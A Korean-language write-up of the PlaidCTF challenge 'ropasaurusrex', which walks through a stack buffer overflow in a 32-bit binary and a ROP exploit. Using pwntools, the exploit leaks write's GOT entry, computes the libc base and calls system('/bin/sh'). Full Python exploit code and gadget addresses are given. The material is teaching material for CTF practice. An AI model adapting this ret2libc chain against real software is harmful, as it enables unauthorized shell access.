[plaid CTF] ropasaurusrex | write up
이번에는 제가 ROP를 처음 공부해볼때 풀어보았던 문제인데 한번 다루어 보겠습니다.
일단 먼저 표층분석을 해보면,
32비트에다 스트립이 되어 있습니다.
그리고 NX만 활성화 되어 있습니다. -> 쉘코드 사용 불가능
기본적으로 실행을 해보니
먼저 아무거나 입력을 받고 그 후에 WIN 이라는 문자를 출력을 해주네요!
그렇다면 ida를 이용해서 분석해보겠습니다.
main 주소에서 sub_80483F4라는 함수를 실행시킨다하여 들어가봤습니다.
여기서 buf의 크기는 0x88이고,
read에서 0x100의 크기를 입력받는다는 것을 알수 있습니다.
즉, bof가 터진다는것을 알수 있다는 것이죠.
여기서 제가 사용할 기법은 rop입니다.
-- rop를 구성하기위해 구해야 할것들 --
1. write의 plt와 got
2. pppr과 pr의 주소
3. libc의 base주소
4. system과 /bin/sh의 주소
1. write의 plt와 got
ida의 왼쪽 창을 보시면 plt를 알수 있습니다.
write_plt = 0x804840c
got를 구해보겠습니다
저기에 있는 write를 더블클릭 해보면,
jmp ds : off_8049614가 있습니다. 이곳을 더블클릭해보면,
간단하게 write의 got를 구할수 있습니다.
write_got = 0x8049614
2. pppr과 pr의 주소
리눅스에서 지원해주는 ROPgadget이라는 툴이 있는데, 이것을 이용하면
pop가젯을 쉽게 구할수 있습니다.
사용방법 : ROPgadget --binary [파일이름]
간단하게 구했습니다 ㅎㅎ!
pppr = 0x8048b6
pr = 0x80483c3
3. libc의 base주소
먼저 지금까지의 정보로 python 코드를 짜보았습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
from pwn import *
p = process('./ropasaurusrex')
e = ELF('./ropasaurusrex')
l = e.libc
write_plt = e.plt['write']
write_got = e.got['write']
pppr = 0x080484b6
pr = 0x080483c3
pay = 'a' * 0x88
pay += 'a' * 4
pay += p32(write_plt)
pay += p32(pppr)
pay += p32(1)
pay += p32(write_got)
pay += p32(4)
p.sendline(pay)
leak = u32(p.recv(4))
base = leak - l.symbols['write']
print "0x%x" % base
|
cs |
여기서 write의 plt와 got, 그리고 libc안에 있는 offset을 쉽게 구하기위해
pwntools에서 지원하는 ELF기능을 사용했습니다.
실행해보니
와우! 끝이 000인걸 보니 libc base가 잘 따인 모양이군요 ㅎㅎ
aslr에서는 끝의 3바이트는 항상 000으로 유지때문에 이것을 이용하여 libc base주소가 따인걸 알수 있었습니다.
4. system주소와 /bin/sh주소
먼저 ldd를 이용해 사용하는 libc의 종류를 알아보겠습니다.
여기 libc.so.6의 위치는 /lib32/libc.so.6이라고 하네요!
먼저 strings명령어를 통해 /bin/sh의 주소를 알아보겠습니다.
명령어 : strings -tx /lib32/libc.so.6 | grep /bin/sh
/bin/sh : 0x17eaaa
그리고 gdb를 이용해 system함수의 offset을 구하겠습니다.
여기 빨간색 동그라미 부분이 system함수의 offset주소 입니다
system_off = 0x3e9e0
여기 까지 구한 정보들
write_plt = 0x804840c
write_got = 0x8049614
pppr = 0x8048b6
pr = 0x80483c3
/bin/sh : 0x17eaaa
system_off = 0x3e9e0
이제 코드를 짜보겠습니다!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
from pwn import *
p = process('./ropasaurusrex')
e = ELF('./ropasaurusrex')
l = e.libc
write_plt = e.plt['write']
write_got = e.got['write']
main = 0x804841D
pppr = 0x080484b6
pr = 0x080483c3
pay = 'a' * 0x88
pay += 'a' * 4
pay += p32(write_plt)
pay += p32(pppr)
pay += p32(1)
pay += p32(write_got)
pay += p32(4)
pay += p32(main)
p.sendline(pay)
leak = u32(p.recv(4))
base = leak - l.symbols['write']
print "0x%x" % base
pay = 'a' * 0x88
pay += 'a' * 4
pay += p32(base+l.symbols['system'])
pay += p32(pr)
pay += p32(base+0x17eaaa)
p.sendline(pay)
p.interactive()
|
cs |
저는 중간에 main으로 다시돌려 바로 system을 실행했습니다 ㅎㅎ
실행해볼까요?